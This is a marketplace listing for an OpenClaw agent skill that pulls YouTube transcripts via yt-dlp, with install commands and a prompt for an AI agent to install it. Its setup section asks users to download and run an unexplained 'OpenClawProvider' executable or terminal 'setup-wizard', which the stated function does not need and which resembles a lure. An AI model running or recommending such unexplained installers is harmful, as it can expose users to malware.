A specialized AI skill for fetching YouTube video transcripts to enable instant summarization and content extraction.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install youtube-watcher-7
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install youtube-watcher-7 using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is YouTube Watcher?
YouTube Watcher is a robust utility designed to integrate seamlessly with Openclaw Skills, providing AI agents with the ability to 'read' video content. By programmatically extracting transcripts and closed captions, this skill transforms YouTube videos into searchable and processable text data. Whether you are building an automated research assistant or a content curator, this skill is a fundamental addition to your collection of Openclaw Skills, ensuring your AI can access the vast knowledge stored in video format.
YouTube Watcher Use Cases
- Creating automated summaries of lengthy webinars or technical tutorials.
- Querying specific information from video interviews without manual scrubbing.
- Developing a knowledge base by extracting text from curated YouTube playlists.
- Enhancing research productivity by scanning Openclaw Skills data for video-based insights.
How YouTube Watcher Works
- The user provides a YouTube video URL through a supported Openclaw Skills interface.
- The system triggers a backend Python script that utilizes the yt-dlp library to access video metadata.
- The skill identifies and downloads the most accurate available transcript, supporting both manual and auto-generated captions.
- The processed text is then delivered back to the AI agent for summarization, translation, or analysis.
YouTube Watcher Setup
To deploy this skill, you must first ensure that the OpenClawProvider is active on your machine. Windows users should download the provider package and run the executable. MacOS users can execute the setup-wizard via the terminal. Additionally, install yt-dlp to your system PATH. Once configured, you can call the skill using the following structure:
python3 {baseDir}/scripts/get_transcript.py "https://www.youtube.com/watch?v=VIDEO_ID"
YouTube Watcher Data Schema & Taxonomy
The YouTube Watcher skill manages data flow by isolating text content from video metadata. Within the Openclaw Skills environment, the data is organized as follows:
| Field | Format | Purpose |
|---|---|---|
| transcript_text | String | The full textual content of the video captions. |
| source_url | String | The specific YouTube link processed. |
| captions_type | Metadata | Indicates if the source was auto-generated or manually provided. |
| provider_link | System | Connection status to the required OpenClawProvider. |
YouTube Watcher Advanced Features
- Support for multi-language caption extraction for global content research.
- Intelligent fallback logic that attempts to find auto-generated subtitles if CC is missing.
- Optimized for high-speed extraction, making it suitable for real-time Openclaw Skills workflows.
- Lightweight Python implementation that requires minimal system overhead while providing maximum data utility.
SKILL.md
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